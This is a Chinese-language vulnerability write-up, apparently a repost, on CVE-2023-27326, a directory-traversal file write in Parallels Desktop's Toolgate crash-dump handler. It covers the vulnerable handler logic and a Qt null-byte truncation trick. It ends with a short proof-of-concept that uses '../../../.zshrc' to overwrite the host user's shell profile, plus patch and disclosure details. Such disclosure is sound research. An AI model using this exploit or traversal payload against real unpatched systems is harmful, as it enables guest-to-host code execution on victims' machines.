Parallels Desktop漏洞

admin 2023年3月27日20:32:52评论54 views字数 7254阅读24分10秒阅读模式

文章包含以下漏洞的信息:

  • CVE-2023-27326 目录遍历任意文件写入漏洞

目录遍历任意文件写入漏洞

此漏洞允许本地攻击者写入任意文件并提升受影响的Parallels Desktop安装的权限。攻击者必须首先获得在目标客户系统上执行高权限代码的能力才能利用此漏洞。

Toolgate组件中存在特定缺陷该问题是由于在文件操作中使用用户提供的路径之前,未对其进行适当验证而导致的。攻击者可以利用此漏洞在主机系统当前用户的上下文中写入任意文件并执行代码。

即使启用了“与 Mac 隔离”功能,也可以访问易受攻击的代码路径

漏洞总结

易受攻击的代码位于 Parallel Desktop Toolgate 组件的请求处理程序之一。guest用户通常使用此请求将故障转储文件写入GuestDumpsVM 主目录的子文件夹中。该文件的内容完全由用户控制,但其文件名的格式为以下模式:<user_input_trunc>.<i>-<j>-<k>-<l>.<date>-<time>.<ext>.

该漏洞是双重的:

  • 首先,因为没有对<user_input_trunc>文件名部分进行检查,所以可以执行目录遍历,从而允许写入位于预期文件夹之外的文件。

  • 然后,由于 QtQByteArrayQString类的微妙之处,文件名的格式可以完全跳过(但不幸的是,用户输入的截断不是),导致几乎完全由用户控制的路径。

最后,这种任意文件写入可用于覆盖 shell 登录脚本并以用户身份执行任意代码。

漏洞详情

CSHAShellExt该漏洞存在于请求TG_REQUEST_VIRTEX_CRASH(ID 0x8323)工具的命令处理程序中。该工具的所有命令CSHAShellExt最终都在函数中CSHAShellExt::handle_request_inner(将从不同的线程调用):

uint64_t CSHAShellExt::handle_request_inner(CSHAShellExt *this, request *request) {    // ...
uint32_t inline_size = request->InlineByteCount; uint32_t *inline_data = get_request_inline_data_inner(request);
// Ensure that there's enough inline data for the header if (inline_size < 0x10) { /* ... */ }
// Ensure that the version is supported (1, 0) if (inline_data[0] != 1) { /* ... */ }
// Handle the request by type switch (request->Request) { // ...
case TG_REQUEST_VIRTEX_CRASH: // Ensure that this is the correct operation code (?) if (inline_data[2] != 4) { /* ... */ } // Ensure that there's at least 0x200 bytes of inline data if (inline_size < 0x200) { /* ... */ } // Call the appriopriate handler this->virtex_req_crash(request, inline_data, &ret); goto FINISH_REQUEST;
// ... } // ...}

此函数将请求转发到适当的处理程序,因为该CSHAShellExt工具接受不同类型的请求。在请求的情况下TG_REQUEST_VIRTEX_CRASH,相应的处理程序是CSHAShellExt::virtex_req_crash

void CSHAShellExt::virtex_req_crash(        CSHAShellExt *this,        request *request,        uint32_t *inline_data,        uint32_t *ret_p) {    // ...
// Compute the path where to store the guest dumps files this->m_CVirtualPC->m_CVmConfiguration->getVmIdentification()->getHomePath(&homepath); get_file_dir_absolute_path(&homepath_abs, &homepath); format_guestdumps_path(&guestdumps, &homepath_abs); // ...
// Get the buffer containing the file data if (request->BufferCount == 0) { /* ... */ } buffer0_pages = map_buffer_at_idx_pages_from_guest_inner(request, 0, 0); if (buffer0_pages == NULL) { /* ... */ } // ...
// Get the buffer containing the file name QString pbProcName; pbProcName_idx = inline_data[0x44]; if (pbProcName_idx == 0) goto SKIP_PBPROCNAME; pbProcName_pages = map_buffer_at_idx_pages_from_guest_inner(request, pbProcName_idx, 0); if (pbProcName_pages == NULL) { /* ... */ }
QByteArray pbProcName_arr; pbProcName_arr.resize(pbProcName_pages->RequestSize); read_from_buffer_pages_inner(pbProcName_pages, 0, pbProcName_arr.data(), pbProcName_pages->RequestSize); pbProcName = QString::fromUtf8(pbProcName_arr); // ...
SKIP_PBPROCNAME: // ...
SKIP_PBPROCPATH: // Handle the subrequest by type code = inline_data[7]; switch (code) { // ... case 1: // Prepare the guest dumps directory prepare_guestdumps_dir(&guestdumps); // ...
// Format the crash dump filename format_dump_filename(&filename, inline_data, &pbProcName); // ...
// Build the final path from the directory and filename QString filepath(guestdumps); filepath.append(QDir::separator()); filepath.append(filename); // ...
// Finally, write the crash dump to disk write_dump_to_disk(buffer0_pages, &filepath); // ... break; // ... } // ...}

此处理程序首先使用 检索 VM 的主路径(~/Parallels/<vmname>.pvm默认情况下)CVmIdentification::getHomePathget_file_dir_absolute_path它使用并附加到/GuestDumps的绝对路径format_guestdumps_path以创建最终路径。

void get_file_dir_absolute_path(QString& abs_path, const QString& path) {    // ...    abs_path = QFileInfo(path).dir().absolutePath();    // ...}

void format_guestdumps_path(QString& guestdumps, QString& homepath) {    // ...    // Append /GuestDumps to the home path    guestdumps.append(homepath);    guestdumps.append("/");    guestdumps.append("GuestDumps");    // ...}

请求缓冲区 #0 包含故障转储数据。请求缓冲区 #n(n从内联数据中提取)包含故障转储文件名。文件名被提取并解析为 UTF-8 字符串(稍后将详细介绍该部分)。

最后,处理程序从内联数据中提取另一个子请求类型。如果它是 1(“在不触发崩溃的情况下写入崩溃转储”),它将执行以下操作:

  • 它调用prepare_guestdumps_dir创建来宾转储目录并删除以前的故障转储;

  • 它调用format_dump_filename附加各种整数、当前日期/时间和文件名的扩展名;

  • 它连接来宾转储目录和格式化的故障转储文件名(启用目录遍历);

  • 它调用write_dump_to_disk将故障转储数据写入生成的文件路径。

prepare_guestdumps_dirformat_dump_filenameand的代码write_dump_to_disk可以参考如下:

void prepare_guestdumps_dir(QString &guestdumps) {    // ...    // Create the directory if it doesn't exist    QDir dir(guestdumps);    if (!dir.exists())        dir.mkdir(".");
// Remove all files with the specified extensions QStringList extensions = { "*.dmp", "*.crash", "*.dump" }; QFileInfoList list = dir.entryInfoList(extensions, 0x10A, 1); for (int i = 0; i < list.size(); ++i) QFile::remove(list.at(i).absoluteFilePath()); // ...}

void format_dump_filename(QString& filename, uint32_t *inline_data, QString& pbProcName) {    // ...    // Append some numbers from the inline data to the filename    filename = pbProcName.mid(0, 20);    filename.append(".");    filename.append(QString::number(inline_data[8], 10));    filename.append("-");    filename.append(QString::number(inline_data[9], 10));    filename.append("-");    filename.append(QString::number(inline_data[0xB], 10));    filename.append("-");    filename.append(QString::number(inline_data[0xA], 10));
// ... // Append the current date & time to the filename filename.append(QChar(".")); filename.append(QDateTime::currentDateTime().date().toString()); filename.append(QDateTime::currentDateTime().time().toString("-hhmmss")); // ...
// Append the VM type to the filename switch (inline_data[4]) { case 0: filename.append(".non"); break; // ... } // ...
// Append the dump type to the filename switch (inline_data[6]) { case 3: filename.append(".dump"); break; // ... } // ...}

void write_dump_to_disk(pages *buffer0_pages, const QString& filepath) {    // ...    // Open the file for writing    QFile file(filepath);    if (!file.open(2)) { /* ... */ }
// Write the content of the buffer to it pos = 0; while (1) { len = get_remaining_bytes_from_buffer(buffer0_pages, pos, &buf); if (!len) break; pos += len; file.write(buf, len); // ... }
// Close the file file.close(); // ...}

乍一看,文件名似乎无法完全控制,因为format_dump_filename会截断它,然后为其添加多个后缀。但是,如果我们提供一个pbProcName缓冲区,其中我们的文件名后跟至少一个空字节,则调用QString::fromUtf8将创建一个以至少一个空 unicode 字符结尾的字符串(因为QStrings 不是以空字符结尾的)。然后,在向其追加其他字符串时,它们将在空 unicode 字符之后。最后,当它传递给 时QFile::QFile,将只使用第一个空字符之前的字符。因此,我们可以完全控制文件名,除了最大长度为 19 个字符(因为截断为 20 个字符,减去一个空字节)。

以下测试代码及其输出突出显示了此行为。

#include <QDebug>#include <QString>
int main(int argc, char *argv[]) { char buf[10]; memset(buf, 0, sizeof(buf)); strcpy(buf, "Hello"); QString str = QString::fromUtf8(buf, sizeof(buf)); qInfo() << str; str.append(" World"); qInfo() << str; printf("%sn", str.toStdString().c_str());}

"Hellou0000u0000u0000u0000u0000""Hellou0000u0000u0000u0000u0000 World"Hello

从上面可以看出,初始QString包含空 unicode 字符,一个用于创建它的缓冲区的每个空字节。然后在空 unicode 字符之后附加第二个字符串。最后,当将结果QString转换为常规 C 字符串时,空 unicode 字符将转换为空字节,因此调用的输出printf不包括字符串的第二部分。

Exploitation

此漏洞可用于用任意内容覆盖用户主目录中的文件。在我们的利用中,我们决定以 shell 配置文件为目标~/.zshrc并用一个简单的open /System/Applications/Calculator.app这将导致每次用户打开新的终端窗口/选项卡时都会打开计算器应用程序。另一个有趣的目标可能是位于其主路径中的 VM 配置文件config.pvs,以尝试启用共享文件夹功能并获得对整个主机文件系统的访问权限。

Parallels Desktop漏洞

基本上,我们的利用归结为发出以下请求:

void exploit(void) {    char inln[0x200];    char *CR = kzalloc(0x1000, GFP_KERNEL);    char *pbProcName = kzalloc(0x1000, GFP_KERNEL);
memset(inln, 0, sizeof(inln)); *(uint32_t *)(inln + 0) = 1; *(uint32_t *)(inln + 8) = 4; *(uint32_t *)(inln + 0x1c) = 1; *(uint32_t *)(inln + 0x110) = 1; strcpy(CR, "open /System/Applications/Calculator.appn"); strcpy(pbProcName, "../../../.zshrc");
twobuf_req(0x8323, inln, 0x200, CR, strlen(CR), pbProcName, strlen(pbProcName)+1, 0);
//kfree(CR); //kfree(pbProcName);}

完整的漏洞利用代码可以在GitHub 存储库中找到

(https://github.com/Impalabs/CVE-2023-27326)

Patch

此漏洞分配为 CVE-2023-27326,并在Parallels Desktop 的18.1.1 (53328) 安全更新中进行了修补。

Timeline

  • 2022 年 9 月 19 日- 案例在 ZDI 研究人员公开。

  • 2022 年 9 月 20 日- 在 ZDI 研究人员公开的案例。

  • 2022 年 10 月 10 日- ZDI 研究人员门户上的案例更新。

  • 2022 年 11 月 3 日- 案例审查并向供应商披露。

  • 2022 年 12 月 13 日- 该漏洞已在 18.1.1 更新中修复。

  • 2023 年 3 月 7 日-该公告发布在 ZDI 网站上。


原文始发于微信公众号(军机故阁):Parallels Desktop漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月27日20:32:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Parallels Desktop漏洞https://cn-sec.com/archives/1629067.html

发表评论

匿名网友 填写信息